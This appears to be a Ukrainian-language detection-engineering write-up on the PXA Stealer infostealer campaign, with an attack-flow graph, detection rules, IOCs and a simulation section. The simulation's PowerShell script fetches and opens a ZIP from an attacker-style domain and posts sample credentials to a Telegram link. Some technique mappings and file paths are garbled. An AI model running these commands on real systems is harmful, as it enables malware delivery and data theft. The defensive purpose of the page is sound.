Від фішингу до ексфільтрації: глибокий аналіз PXA Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт описує різке зростання активності PXA Stealer, спрямованої на фінансові організації на початку 2026 року. Актори загроз поширюють шкідливі ZIP-архіви через фішингові електронні листи та покладаються на багатоступеневий ланцюг зараження, що зловживає легітимними системними інструментами та перейменованим інтерпретатором Python. Як тільки шкідливе програмне забезпечення активується, воно краде облікові дані браузера, збережені паролі та дані криптовалютних гаманців, а потім ексфільтрує зібрану інформацію через Telegram. Кампанія підкреслює, як оператори налаштували свою тактику після попередніх зривів у інших екосистемах інфостилерів.
Розслідування
Дослідники з CyberProof відновили повний ланцюг атаки, починаючи з фішингового електронного листа, що доставив шкідливий архів Pumaproject.zip, і закінчуючи ексфільтрацією через Telegram. Їх аналіз ідентифікував зловживання Certutil для розкодування, копію WinRAR, замасковану як picture.png для вилучення, приховану папку Dots і перейменований інтерпретатор Python svchost.exe, який використовується для запуску заплутаного скрипту, пов’язаного з ідентифікатором бота. Стійкість підтримується через запис значення в реєстрі.
Пом’якшення
Захисники повинні ідентифікувати підозрілі архіви-додатки, моніторити виконання скриптів і відомі LOLBins з несподіваних шляхів, а також блокувати вихідний трафік до Telegram і незвичайні TLD, такі як .shop and .xyz. Команди безпеки також повинні зміцнювати шлюзи електронної пошти та застосовувати строгий контроль виконання до файлів Office та контенту на основі скриптів.
Відповідь
Коли виявлено PXA Stealer, ізолюйте уражений хост, захопіть нестійкі докази та знайдіть згадані артефакти файлів та модифікації реєстру. Видаліть шкідливі файли, завершіть уражені процеси та скиньте будь-які скомпрометовані облікові дані. Команди повинні потім виконати ширший пошук загроз для збігів індикаторів в середовищі та повідомити відповідних зацікавлених сторін.
графік TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Визначення вузлів action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг: Спірфішинг вкладення</b><br/>Опис: Електронний лист зі шкідливим ZIP (Pumaproject.zip), який містить Document.docx.exe.”] class action_phishing action file_zip[“<b>Файл</b> – Pumaproject.zip<br/><b>Містить</b>: Document.docx.exe”] class file_zip file action_user_exec[“<b>Дія</b> – <b>T1204.002 Виконання користувачем: Шкідливий файл</b><br/>Опис: Жертва відкриває вкладене виконуване.”] class action_user_exec action process_malicious_exe[“<b>Процес</b> – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“<b>Дія</b> – <b>T1574 Перехоплення потоку виконання</b><br/>Опис: Запускає inter.cmd і використовує certutil для декодування навантаження з Shodan.pdf.”] class action_execution_hijack action process_inter_cmd[“<b>Процес</b> – inter.cmd”] class process_inter_cmd process tool_certutil[“<b>Інструмент</b> – certutil.exe<br/><b>Призначення</b>: Декодувати base64 контент”] class tool_certutil tool file_shodan_pdf[“<b>Файл</b> – Shodan.pdf<br/><b>Містить</b>: Base64 закодоване навантаження”] class file_shodan_pdf file action_defense_embedded[“<b>Дія</b> – <b>T1027.009 Вбудовані навантаження</b><br/>Опис: Навантаження, приховане всередині файлу PDF.”] class action_defense_embedded action action_decode[“<b>Дія</b> – <b>T1140 Декодування/розшифрування файлів або інформації</b><br/>Опис: certutil декодує навантаження.”] class action_decode action action_hidden_dir[“<b>Дія</b> – <b>T1564.001 Приховані файли та директорії</b><br/>Опис: Шкідливе ПЗ створює приховану папку “Dots” для проміжних файлів.”] class action_hidden_dir action file_hidden_dir[“<b>Файл</b> – Dots (прихована директорія)”] class file_hidden_dir file action_relocate[“<b>Дія</b> – <b>T1070.010 Видалення індикаторів: Розміщення шкідливого ПЗ</b><br/>Опис: Переміщує шкідливі файли до прихованої директорії “Dots”.”] class action_relocate action action_compression[“<b>Дія</b> – <b>T1027.015 Стиснення</b><br/>Опис: WinRAR, замаскований під picture.png, розпаковує архів, захищений паролем (пароль shodan2201).”] class action_compression action tool_winar[“<b>Інструмент</b> – WinRAR (перейменований picture.png)”] class tool_winar tool file_archive[“<b>Файл</b> – Архів, захищений паролем (shodan2201)”] class file_archive file action_rc_script[“<b>Дія</b> – <b>T1037.004 RC скрипти</b><br/>Опис: Портативний Python скинуто, перейменовано в svchost.exe та виконано з аргументом $BOT_ID.”] class action_rc_script action process_svc_host[“<b>Процес</b> – svchost.exe (шкідливий інтерпретатор Python)”] class process_svc_host process action_active_setup[“<b>Дія</b> – <b>T1547.014 Active Setup</b><br/>Опис: Запис в реєстрі, доданий для запуску svchost.exe під час завантаження.”] class action_active_setup action action_com_hijack[“<b>Дія</b> – <b>T1546.015 COM Hijacking</b><br/>Опис: Створено запис у реєстрі для автоматичного виконання COM hijacking.”] class action_com_hijack action action_cred_browser[“<b>Дія</b> – <b>T1555.003 Облікові дані з веб-браузерів</b><br/>Опис: Впроваджується в браузери для крадіжки паролів, кукісів, даних криптовалютних гаманців.”] class action_cred_browser action action_cred_cookies[“<b>Дія</b> – <b>T1539 Крадіжка кукісів веб-сесії</b><br/>Опис: Витягує кукіси веб-сесії для повторного використання.”] class action_cred_cookies action action_keylogging[“<b>Дія</b> – <b>T1056.001 Захоплення вводу: Кейлоггінг</b><br/>Опис: Захоплює натискання клавіш користувача.”] class action_keylogging action action_exfil_telegram[“<b>Дія</b> – <b>T1567 Ексфільтрація через веб-сервіс</b><br/>Опис: Відправляє зібрані дані на канали Telegram, які контролюються атакуючим.”] class action_exfil_telegram exfil action_exfil_c2[“<b>Дія</b> – <b>T1041 Ексфільтрація через C2 канал</b><br/>Опис: Використовує Telegram як C2 і канал ексфільтрації.”] class action_exfil_c2 exfil %% З’єднання action_phishing –>|доставляє| file_zip file_zip –>|виконує| action_user_exec action_user_exec –>|запускає| process_malicious_exe process_malicious_exe –>|запускає| action_execution_hijack action_execution_hijack –>|спавнує| process_inter_cmd process_inter_cmd –>|використовує| tool_certutil tool_certutil –>|розкодовує| file_shodan_pdf file_shodan_pdf –>|містить| action_defense_embedded action_defense_embedded –>|спрацьовує| action_decode action_decode –>|створює| action_hidden_dir action_hidden_dir –>|створює| file_hidden_dir action_hidden_dir –>|зберігає| action_relocate action_relocate –>|переміщує файли до| file_hidden_dir action_relocate –>|призводить до| action_compression action_compression –>|використовує| tool_winar tool_winar –>|розпаковує| file_archive file_archive –>|надає| action_rc_script action_rc_script –>|виконує| process_svc_host process_svc_host –>|встановлює| action_active_setup process_svc_host –>|встановлює| action_com_hijack process_svc_host –>|надає можливість| action_cred_browser process_svc_host –>|надає можливість| action_cred_cookies process_svc_host –>|надає можливість| action_keylogging action_keylogging –>|передає дані на| action_exfil_telegram action_cred_browser –>|передає дані на| action_exfil_telegram action_cred_cookies –>|передає дані на| action_exfil_telegram action_exfil_telegram –>|використовує канал| action_exfil_c2
Потік атаки
Виявлення
Виконання системних процесів з нетипових шляхів (via process_creation)
Перегляд
Підозріла команда і контроль через запит DNS незвичного домену верхнього рівня (TLD) (via dns)
Перегляд
Підозріле виконання з публічного профілю користувача (via process_creation)
Перегляд
Незвичне розширення виконуваного файлу (via process_creation)
Перегляд
Підозрілі файли в публічному профілі користувача (via file_event)
Перегляд
Використання Certutil для кодування даних та операцій з сертифікатами (via cmdline)
Перегляд
IOCs (HashMd5) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer Частина 2
Перегляд
IOCs (DestinationIP) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer
Перегляд
IOCs (HashMd5) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer Частина 1
Перегляд
IOCs (SourceIP) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer
Перегляд
IOCs (HashSha256) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer
Перегляд
Виявлення активності виконання PXA Stealer [Windows Process Creation]
Перегляд
Виявлення виходячих підключень PXA Stealer [Windows Network Connection]
Перегляд
Імітація виконання
Передумова: Тестування телеметрії та базового рівня має бути пройдено.
Раціональність: Цей розділ детально описує точне виконання техніки суперника (TTP), призначену для спрацьовування правила виявлення. Команди та наративи МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнуть згенерувати точну телеметрію, очікувану логікою виявлення.
-
Опис атаки та команди:
Актор загрози розгортає PXA Stealer на скомпрометованому хості Windows. Після того, як користувач невимушено виконує початковий шкідливий бінарний файл (T1204.002), стілер виконує фрагмент PowerShell, який:-
Завантажує шкідливий ZIP з жорстко закодованого домену
downloadtheproject.xyz(T1202 – непряме виконання команд). -
Ексфільтрує зібрані дані розміщуючи повідомлення в каналі Telegram через
t.me(T1559.002 – фішингове посилання). - За бажанням завантажує шкідливий COM-компонент для досягнення стійкості (T1127.002).
Обидва вихідні HTTP-запити GET генерують
поля DestinationDomain, за якими стежить правило Sigma, викликаючи тривогу. -
Завантажує шкідливий ZIP з жорстко закодованого домену
-
Скрипт тесту регресії:
# Імітація PXA Stealer – спрацьовує правило виявлення $tmpZip = "$env:TEMPpayload.zip" $tmpMsg = "$env:TEMPsteal.txt" # 1. Завантажте шкідливий ZIP з першого шкідливого домену Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing # 2. Імітуйте ексфільтрацію даних через посилання Telegram $payload = "Облікові дані користувача: admin / Pass123!" Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing # 3. (Додатково) Завантажте фіктивний COM-об'єкт для емулювання T1127.002 try { $com = New-Object -ComObject "Shell.Application" $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null } catch { # Ігнорувати помилки – це лише для телеметрії } -
Команди очистки:
# Видаліть артефакти, створені імітацією Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue